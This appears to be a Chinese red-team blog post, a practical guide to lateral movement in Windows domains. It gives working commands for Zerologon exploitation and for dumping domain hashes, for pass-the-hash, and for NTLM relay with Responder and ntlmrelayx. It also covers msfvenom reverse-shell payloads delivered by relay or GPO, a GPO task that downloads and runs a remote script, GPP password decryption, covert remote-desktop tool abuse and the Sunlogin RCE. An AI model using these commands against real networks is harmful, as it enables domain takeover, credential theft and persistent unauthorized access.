简单记录一下内网中横向移动的方法
漏洞利用
Zero-logon
漏洞简介
CVE-2020-1472是一个windows域控中严重的远程权限提升漏洞,此漏洞是微软8月份发布安全公告披露的紧急漏洞,CVSS评分为10分。未经身份认证的攻击者可通过使用 Netlogon 远程协议(MS-NRPC)连接域控制器来利用此漏洞,成功利用此漏洞的攻击者可获得域管理员权限。该漏洞由 Secura 公司的 Tom Tervoort 发现提交并命名为 ZeroLogon。
影响范围
Windows受影响版本:
1 | Windows Server 2008 R2 for x64-based Systems Service Pack 1 |
Samba受影响版本:
1 | 4.0 < Samba < 4.8 且 未配置 server schannel = yes |
利用过程
域控主机:192.168.1.128,winserver2012
域内普通主机:192.168.1.130,winserver2008 R2
工具:
- https://github.com/SecureAuthCorp/impacket
- https://github.com/dirkjanm/CVE-2020-1472
- https://github.com/risksense/zerologon
环境配置:
需要python环境,可上传安装包安装或者挂代理运行python脚本
在普通主机配置环境
1 | //安装impacket环境 |
探测漏洞是否存在:
获取域控主机名和域控ip
1
2net group "domain controllers" /domain
ping -a domainname获取域控主机名为
DC$
域控ip为
192.168.1.128
poc检测域控是否存在漏洞
1
2python zerologon_tester.py 域控主机名 域控ip
python .\zerologon_tester.py DC$ 192.168.1.128返回 Success,说明漏洞很可能存在!
漏洞攻击
- 置空DC的密码
exp:https://github.com/dirkjanm/CVE-2020-1472
1 | python3 cve-2020-1472-exploit.py 域控主机名 域控ip |
此时如果机器重启则很可能起不来,会出问题
置空密码成功!此时需要尽快操作,否则可能脱域
- secretsdum.py导出域内所有用户的凭证
使用impacket中的secretsdump.py,因为置空了密码,所以这里无需密码就能导出hash
1 | python secretsdump.py 域名/域控主机名@域控ip -no-pass |
得到所有凭证
域控内所有账户的hash都导出来了,包括本地用户和域用户
- 使用wmiexec.py远程登录
获取了域控的hash,可以进行远程登陆
1 | python wmiexec.py doamin/dc_name@dc_ip -hashes :NTLM hash |
恢复域控原始hash
- 导出 sam system 等⽂件到本地,获取域控机器上本地保存之前的 hash 值⽤于恢复,不然就脱域了
1 | //切换到Temp目录 |
保存注册表
下载注册表
下载完后删除文件
1
2
3
4del /f system.save
del /f sam.save
del /f security.save
//del /f system.save&&del /f sam.save&&del /f security.save3. 之后通过 sam.save、security.save、system.save 这些⽂件获得原来域控机器上的 Ntlm Hash 值,⽤于恢复密码
1 | python secretsdump.py -sam sam.save -system system.save -security security.save LOCAL |
通过拿到 $MACHINE.ACC: 的值,然后进⾏恢复
脚本下载:https://github.com/risksense/zerologon/blob/master/reinstall_original_pw.py
1
2
3
4$MACHINE.ACC: aad3b435b51404eeaad3b435b51404ee:5ac3684c4ab3d2632da86a58bcc7820c
python reinstall_original_pw.py 域控机器名 域控ip $MACHINE.ACC后半部分的值
python reinstall_original_pw.py DC 192.168.1.128 aad3b435b51404eeaad3b435b51404ee:5ac3684c4ab3d2632da86a58bcc7820cps: 这里域控机器名不能加$,显示了success也不一定成功,需要用脚本验证一下
验证密码是否恢复成功
再使用开始的secretsdum.py导出域内所有用户的凭证,可见使用空密码去获取域内的所有用户的凭证已经不行了
这里不知道为什么还是能无密码查看,按理说应该不行
这个时候才是真正恢复成功!大家在实战的时候一定要在本地多次复现!别在实战中重置了域控的密码为空,结果你不会还原导致目标脱域了,你就lliang了!
PTH攻击
简单来说:获取到一个NTLM hash值,将它传递到目标机器通过认证,获取权限
限制条件:目标机器未打KB2871997补丁
mimikatz
1 | mimikatz.exe privilege::debug "sekurlsa::pth /domain:workgroup /user:administrator /ntlm:4d6e43b2cdc951808100f5b1d09aac63 /run:cmd.exe" |
使用Metasploit进行PTH攻击
通常使用三个模块进行PTH攻击
1 | auxiliary/admin/smb/psexec_command // 在目标机器上执行系统命令 |
使用smb/psexec模块进行攻击
1 | use exploit/windows/smb/psexec |
上面的Hash可以用明文密码也可以用Hash值,格式是LM Hash:NTLM Hash,若不清楚LM Hash可以用32个0代替
攻击成功,直接是SYSTEM
权限,接下来可以构造黄金票据留后门。不要忘了设置通向内网的路由或者代理。
crackmapexec进行攻击
命令
1 | crackmapexec smb 192.168.2.2 -u administrator -H 00000000000000000000000000000000:6ab1932ee89eb324fc92d609efe46c3d -d pentest.com -x whoami |
1 | root@kali:~/Desktop# crackmapexec smb 192.168.2.2 -u administrator -H 00000000000000000000000000000000:6ab1932ee89eb324fc92d609efe46c3d -d pentest.com -x whoami |
利用WmiExec进行PTH攻击
1 | python3 wmiexec.py -hashes 00000000000000000000000000000000:6ab1932ee89eb324fc92d609efe46c3d pentest/administrator@192.168.2.2 "whoami" |
exe版本的同理
利用Invoke-Thehash进行Pth攻击
下载地址:https://github.com/Kevin-Robertson/Invoke-TheHash
Invoke-TheHash项目是一个基于.Net TCPClient,通过把NTLM hash传递给NTLMv2身份验证协议来进行身份验证的攻击套件,且执行时客户端不需要本地管理员权限。
支持对内网IP进行批量PTH攻击!!!
1 | IEX (New-Object Net.WebClient).DownloadString('http://192.168.2.128:8000/Invoke-TheHash/Invoke-WMIExec.ps1'); |
- -Target :目标主机名或IP地址/段。
- -Username:用于身份验证的用户名。
- -Domain:用于身份验证的域。本地帐户或在用户名后使用@domain时不需要此参数。
- -Hash:用于身份验证的NTLM密码哈希(格式:LM:NTLM 或 NTLM)。
- -Command:在目标上执行的命令。如果命令未指定,则将检查用户名和哈希是否可以访问目标上的SCM。
smbexec进行pth
1 | #携带密码 |
psexec进行pth
1 | #携带密码 |
NTLM hash Relay
简单来说:可以通过LLMNR配合NetBIOS、WPAD的方式获取Net-NTLM Hash,也可以通过**SMB Relay(SMB中继)**的方式进行哈希传递
前提条件:在局域网内
reponsder可以用lgandx的Responder项目中的responder.py代替
LLMNR和NetBIOS欺骗
在攻击机responsder开启监听
1 | responder -I eth0 -f -v |
- -I:指定使用的网卡
- -f:允许攻击者查看受害者的主机指纹
- -v:显示详细信息,responder 在截获目标的 Net-NTLM Hash 后,会将 Net-NTLM Hash 记录在
日志
中,之后再次截获将不再显示 Net-NTLM Hash,要想再次显示 Net-NTLM Hash 则需要加上这个-v
选项
此时在win7尝试连接未命名主机
1 | net use \\bunny |
kali得到了Net-NTLM Hash:
利用WPAD劫持
利用LLMNR/NBNS投毒
利用条件
- 浏览器设置了自动检测代理设置
- 攻击机在局域网内
利用原理
假如域内没有配置域名放置wpad.dat
的话,就会使用LLMNR
询问WPAD
的IP,此时攻击者准备好wpad.dat
文件,当LLMNR问询到攻击机时,就可以伪造网页要求输入账号密码获取Net-NTLM Hash
,诱导下载exe文件等。
利用过程
在攻击机打开responder监听,并开启WDAP服务器
1 | responder -I eth0 -r on -v -F on -w on |
- -w:开启 WPAD 服务
- -F:强制进行
此时在win7(受害者主机)上访问baidu.com时,就会弹出要求输入账号密码的窗口
如果员工安全意识不强,输入了账号密码,就会被获取Net-NTLM Hash
SMB Relay
利用原理
抓取用户的Net-NTLM Hash
进行重放,也叫relay,SMB协议的Relay攻击是最直接有效的方法,可以直接控制该服务器(包括但不限于在远程服务器上执行命令、上传exe到远程主机上执行、dump 服务器的用户hash等等)。
域环境的SMBRelay
域环境底下域用户的账号密码Hash保存在域控的 ntds.dit
里面。如下没有限制域用户登录到某台机子,那就可以将该域用户Relay到别人的机子,或者是拿到域控的请求,将域控Relay到普通的机子,比如域管运维所在的机子。(为啥不Relay到其他域控,因为域内就域控默认开启smb签名)
responder进行SMB Relay
利用过程
使用responder内的RunFinger.py工具扫描域内机器的SMB签名情况
1 | python3 RunFinger.py -i 192.168.2.0/24 |
可以看到Signing是false的机器都是可以利用的
接下来使用MultiRelay.py开始监听,准备getshell
1 | python3 MultiRelay.py -t 192.168.2.3 -u ALL |
Responder.conf的SMB、HTTP设置为Off,不拦截Net-NTLM Hash,对请求作出响应
启动Responder,监听对应域内的网卡
1 | responder -I eth0 |
在域控发出SMB请求给一个不存在的用户,触发LLNMR/NBNS
,如
1 | net use \\hhh |
此时查看结果成功getshell,是SYSTEM
权限
攻击总结
- 查看SMB签名的情况
1 | python3 RunFinger.py -i 192.168.2.0/24 |
- MultiRelay.py设置要攻击的目标
1 | python3 MultiRelay.py -t 192.168.2.3 -u ALL |
- 设置responder,关闭SMB和HTTP
1 | SMB = Off |
- 开启responder监听
1 | responder -I eth0 |
- 域控发出SMB请求
1 | net use \\hhh |
getshell
smbrelay脚本
- 使用impacket中的smbrelay.py脚本进行攻击
攻击机本地开启smb服务器
1 | python3 smbrelayx.py -h 192.168.2.3 -c whoami |
受害机对攻击机发出SMB请求
1 | net use \\192.168.2.128 |
执行命令成功
实际应用
现实中,只执行一条命令是不现实的,可以-e
选项,通过让受害者运行本地的exe文件来维持权限
先生成exe文件
1 | msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.2.128 LPORT=4444 -e x86/shikata_ga_nai -f exe -o ~\shell.exe |
然后运行smbrelayx.py脚本,当监听到smb请求时运行shell
1 | python3 smbrelayx.py -h 192.168.2.3 -e /root/shell.exe |
开启metasploit,设置如下
1 | set payload windows/metepreter/reverse_tcp |
设置AutoRunScript是为了得到session之后迁移进程,因为smbrelayx在执行exe之后会remove file,导致session中断
此时win server2008访问smb服务器
1 | net use \\192.168.2.128\c$ |
得到session
Metasploit的smb_relay模块
模块windows/smb/smb_relay
攻击方法,msf设置好后,受害者向攻击机发起smb请求,就能get到受害者的shell
(注意:Metasploit的SMBRelay只支持NTLMv1
,所以在攻击一些机器时会出现“Failed to authenticate”的情况)
这个攻击手段就是将机器reflect回机子本身。然而微软在ms08-068
中对smb reflect到 smb 做了限制,防止了同一主机从SMB协议向SMB协议的Net-NTLMhash relay。这个补丁在CVE-2019-1384(Ghost Potato)
被绕过。
Impacket的ntlmrelayx进行攻击
- 开启responder(开不开影响不大,开了更好,有响应)
1 | responder -I eth0 |
- 使用ntlmrelayx进行监听攻击
1 | python3 ntlmrelayx.py -h 192.168.2.3 -c whoami -smb2support |
- win server通过smb或者http访问攻击机
- 查看结果
- 实际渗透过程中
-c
命令可以改为conbalt strike的powershell的命令或者Empire的
组策略利用
前提:域控权限
gpmc.msc
打开组策略管理器
- 如果使用Default Domain Policy最好添加Domain Users
- Default Domain Ploicy对应**{31B2F340-016D-11D2-945F-00C04FB984F9}**
- Default Domain Policy对应{6AC1786C-016F-11D2-945F- 00C04FB984F9}
下发msi
msfvenom生成msi,开启监听
1 | msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.91.129 lport=1234 -f msi > 1.msi |
软件安装指定1.msi,需要在UNC路径下,如\\<file server>\<share>\<file name>.msi
,这里将安装包放在C:\Windows\Temp
下,然后共享文件夹,设置Domain Users
的读取权限,记得安全选项卡也要设置,生成共享路径\\dc\Temp
设置组策略计算机配置-策略-软件设置-软件安装
选择在UNC路径的1.msi软件,选择已分配
- 已发布需要用户在
添加/删除程序
的从网络路径安装程序自己安装 - 已分配则是自动安装
设置普通用户具有安装msi的权限
1 | 计算机配置-策略-管理模板-Windows组件-Windows 安装程序-永远以高特权进行安装:选择启用 |
服务器更新组策略+客户端更新组策略
1 | gpupdate /force |
客户端重新登录发现自动运行
推出特定的启动脚本
在用户配置-Windows设置-脚本-新建
中,显示文件,将准备好的bat脚本拖入即可
客户端强制更新
1 | gpupdate /force |
弹计算器
OU批量下发脚本
创建一个OU(GPOTEST),里面新建一个用户,gpo
gmc.msc
打开组策略管理,添加一个新的组策略(ADControl)
通过右键ADControl——编辑——用户配置——策略——windows设置——脚本——登录——显示文件——新建ADControl.bat
1 | cmd.exe /c calc |
然后将组策略管理器界面的GPOTEST链接到该组策略,右键链接到现有的GPO
此时,服务器跟客户端都要强制更新组策略
1 | gpupdate /force |
更新完成后,可以在客户端看到服务器下发的组策略,说明更新成功了
因为我们组策略规则设定了用户登录时会触发文件,因此需要重新登录一下,成功弹出计算器
计划任务
这种方式能够按照时间定时的收集信息,相对来说比较隐蔽。
这里演示下如何使用New-GPOImmediateTask.ps1
1.导入powershell中管理GPO的模块&创建一个作用整个域的GPO
1 | Import-Module GroupPolicy –verbose |
2.执行脚本添加计划任务
1 | New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO -SysPath '\\dc\sysvol\ns.com' Command 'powershell.exe' -CommandArguments '-nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://192.168.1.106:8022/a''))"' |
3.强制更新组策略,或者默认等待90分钟等待组策略强制更新
1 | Invoke-GPUpdate -Computer "redteam\USS" |
4.清理痕迹
1 | Remove-GPO -Name TestGPO |
GPP
组策略首选项(Group Policy Preference)
原理:https://hackerqwq.github.io//2021/09/17/渗透测试之提权篇三-Windows提权/#组策略首选项提权
简要说明:当域控批量设置域内机器的密码时,会生成Groups.xml文件,里面包含密码,经过解密即可获得明文,从而批量上线
直接搜索
1 | for /r \\dc/sysvol %i in (*.vbs) do @echo %i |
继续查看,找到文件Groups.xml
,路径为:
1 | \\DC\SYSVOL\ns.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Prefere |
复制点击查看:
其中的关注点为cpassword
:
1 | PP6ZyJT6tj+wErLmSjZzcw |
复制
此密码的加密方式为AES-256
。尽管此加密十分难以破解,但是微软公司将其加密的密钥公开了。
The 32-byte AES key is as follows:
1 | 4e 99 06 e8 fc b6 6c c9 fa f4 93 10 62 0f fe e8 |
复制
地址:2.2.1.1.4 Password Encryption
密码破解方式
kali命令
针对此密码,我们可以直接使用kali中自带的命令gpp-decrypt
进行破解:
可以看到破解出的abc123@
msf模块
可使用msf后渗透模块run post/windows/gather/credentials/gpp
效果如下:
PowerSploit
工具地址:PowerSploit
我们利用的是其中的Get-GPPPassword
模块。
检索通过组策略首选项推送的帐户的明文密码和其他信息。
如下三种使用方法:
1 | powershell -executionpolicy bypass -file Get-GPPPassword.ps1 |
脚本利用
拿下域管权限后可能防火墙原因无法访问目标电脑,这时候可以利用组策略进行横向。
通过组策略来下放恶意软件、创建/修改计划任务、降级凭据保护、向计算机添加新的帐户到本地管理员组、启用明文密码提取等。
https://github.com/FSecureLABS/SharpGPOAbuse 、https://github.com/FuzzySecurity/StandIn 实现计划任务、启动脚本、添加本地管理员用户。
https://github.com/Hackndo/pyGPOAbuse 可以实现计划任务、添加本地管理员。
https://github.com/rootSySdk/PowerGPOAbuse 可以实现的比较全。
powershell实现
1 | #加载GroupPolicy模块 (win7没有,win10有) |
远程登录
原生SMB
简单命令
适用于win机器
1 | net use \\DC.redteam.org |
smblient
smbclient在kali中内置,适用于搭建隧道本机访问的情况
1 | #列出目标机器共享的目录 |
如果遇到
1 | Unable to connect with SMB1 -- no workgroup available |
可以尝试在/etc/samba/smb.conf
中的workgroup下添加
1 | client min protocol = NT1 |
smbexec
用法:
1 | .\smbexec user:pass@ip |
RDP单用户多点登录
关键是修改组策略的一个设置,首先需要创建一个administrators组的用户用于远程登录(防止将正在登录的管理员踢下线 ),修改组策略,实现单用户多点登录
参考链接:https://blog.csdn.net/Aaron_Miller/article/details/109534277
如果目标是家庭阉割版,可以先开启功能,使用SuperRDP项目
需要使用1.x版本,因为2.x需要收费
需要关闭杀软
1 | # 运行SuperRDP.exe |
抠1安装即可
新建用户拉入管理员组
1 | net user hackerqwq admin@123! /add |
rdp上去更改组策略,路径:计算机配置-管理模板-Windows组件-远程桌面服务-远程桌面会话主机-连接
修改最大连接数为大于1
即可远程登录
- win10实测还需要对方确认或者等待30秒,winserver2008、winserver2012不需要
PSExec
当有其他机器权限的时候直接使用这条命令即可远程执行命令
带上-accepteula
参数可以防止弹窗
1 | psexec.exe -accepteula \\192.168.93.224 cmd |
FTP
下载文件
1 | ftp//运行命令ftp进入交互shell |
GotoHTTP
优点:
- B2C模式,无需安装控制端软件,有浏览器就可以远控。
- 流量走https协议,只要目标放行443端口出口就可以实现内网穿透。
- 在低带宽也可以使用,运行占用内存极低,控制时占用CPU仅为0%-3%。
- 被控端在类Linux系统上支持图形界面(GUI)和字符界面(CLI)。
缺点:
- 需要管理员权限运行
- 一些行为(网络唤醒远程主机)需要加载驱动,导致运行时360安全卫士会拦截这行为,其他杀软则不会拦截。
下载链接:
1 | http://www.gotohttp.com/goto/download.12x |
将被控端放置在目标机器上,此处直接放上去运行,类比成webshell场景即可
1 | ./GotoHTTP_x64.exe |
可以看到此时会弹窗
读取gotohttp.ini文件获取电脑ID和控制码
在官网连接即可
1 | https://www.gotohttp.com/ |
Rustdesk
优点:可以普通权限运行,并且支持纯内网环境
下载链接:https://gitee.com/rustdesk/rustdesk/releases
下载portable免安装版本
在被控端和控制端放置rustdesk的exe
win7被控端
winserver2008控制端
在被控端运行rustdesk.exe,此时会弹窗,所以需要确定目标机器没有人在操作的时候远程连接
1 | .\rustdesk-1.1.9.exe |
查找配置文件,注意密码只有在桌面上将鼠标移到密码处时才会生成密码,因此我们可以直接在配置文件中自定义密码
1 | C:\Users\用户名\AppData\Roaming\RustDesk\config |
同时需要开启ip直连,也可以修改默认连接端口,修改RustDesk2.toml文件(只需要修改被控端)
1 | #开启IP直连 |
然后重启rustdesk.exe,输入IP端口连接即可
Todesk
优点:方便快捷
缺点:需要联网
简介
ToDesk 是一款多平台远程控制软件,支持主流操作系统Windows、Linux、Mac、Android、iOS跨平台协同操作。ToDesk支持任何网络环境下的远程实现,4.0版本已经开放100台设备列表。
安装命令
静默安装
1 | ToDesk_Setup.exe /S |
设置安全密码
1 | 默认安装路径 |
查看运行状态
1 | 默认安装路径 |
利用场景
未安装todesk
在冰蝎webshell管理工具中上传todesk安装包
静默安装(测试环境在cs的Administrator权限运行成功)
1 | ToDesk_Setup.exe /S |
可以看到已经安装成功,但是依然会有弹窗(最好是管理员不在线情况下使用)
获取密码方式
1.设置安全密码
安全密码不是连接密码
1 | ToDesk.exe -setpasswd 123456 |
将ToDesk.exe重启,生成clientid
然后读取设备代码,即clientid,然后准备进行远程连接
1 | type "C:\Program Files (x86)\ToDesk\config.ini" |
2.读取临时密码
从config.ini中读取到tempAuthPassEx,替换到本机的config.ini,重启todesk
获取到密码,远程连接
已经安装todesk的情况也是一样的,通过将目标机器的密码替换到本机就可以获得密码
获取历史连接记录
ToDesk连接一台主机后会在默认安装目录下生成一个json格式文件,在已登录状态和未登录状态的文件命名方式不太一样。其中两种登陆状态的文件路径分别如下
1 | C:\Program Files (x86)\ToDesk\devlist_******.json |
这个文件主要用于存储历史连接记录,只需找到UserId(设备代码)和PassEx密码,然后利用配置文件覆盖的方式将PassEx解密得到密码明文,最后再用目标主机ToDesk的设备代码和密码连接。
1 | { |
无法获取密码情况
有时候不能设置安全密码,并且读取的出来的密码也不是正常的6位密码,我们可以直接kill todesk进程(先taskkill ToDesk_Service.exe所在进程)然后给目标机器修改config文件,替换成我们设置的密码,再重启todesk。
总结
todesk是在一些特殊的环境下进行使用,存在很多不足:
1.需要管理员权限
2.目标机器锁屏需要密码
3.体积太大
4.很容易被发现
向日葵
远程代码执行漏洞(CNVD-2022-10270/CNVD-2022-03672)
漏洞简介
SunloginClient 启动后会在 40000 以上随机开放一个web端口,认证有问题可以直接通过cgi-bin/rpc?action=verify-haras获取cid 执行回显rce
影响版本:
1 | 向日葵个人版 Windows <= 11.0.0.33 |
漏洞利用
安装漏洞版本向日葵,安装包
手动测试
nmap扫描
1
nmap -p 40000-65535 -T4 192.168.119.151
获取session
1
/cgi-bin/rpc?action=verify-haras
Cookie添加CID
1
Cookie: CID=DTOAQFngEPZBDNNp5QLOYftzErN7RBCA
执行命令
1
2
3/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+%20pwd
或
/check?cmd=nslookup..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+%20pwd工具扫描
-
探测
1
.\xrkRce.exe -h 192.168.119.151/24 -p 40000-65535
利用
1
.\xrkRce.exe -h 192.168.119.151 -p 51968 -c whoami -t rce
-
1
2python .\sunlogin-fuzz.py -t 192.168.119.0/24
python .\sunlogin-fuzz.py -t 192.168.119.151 sunlogin-exp-gui-v1-0.jar
填入ip,指定端口40000-65535,portscan扫描端口
将爆破出来的ip+端口填入下方,attack即可
-
配置文件解密
https://blog.csdn.net/csdnmmd/article/details/125340352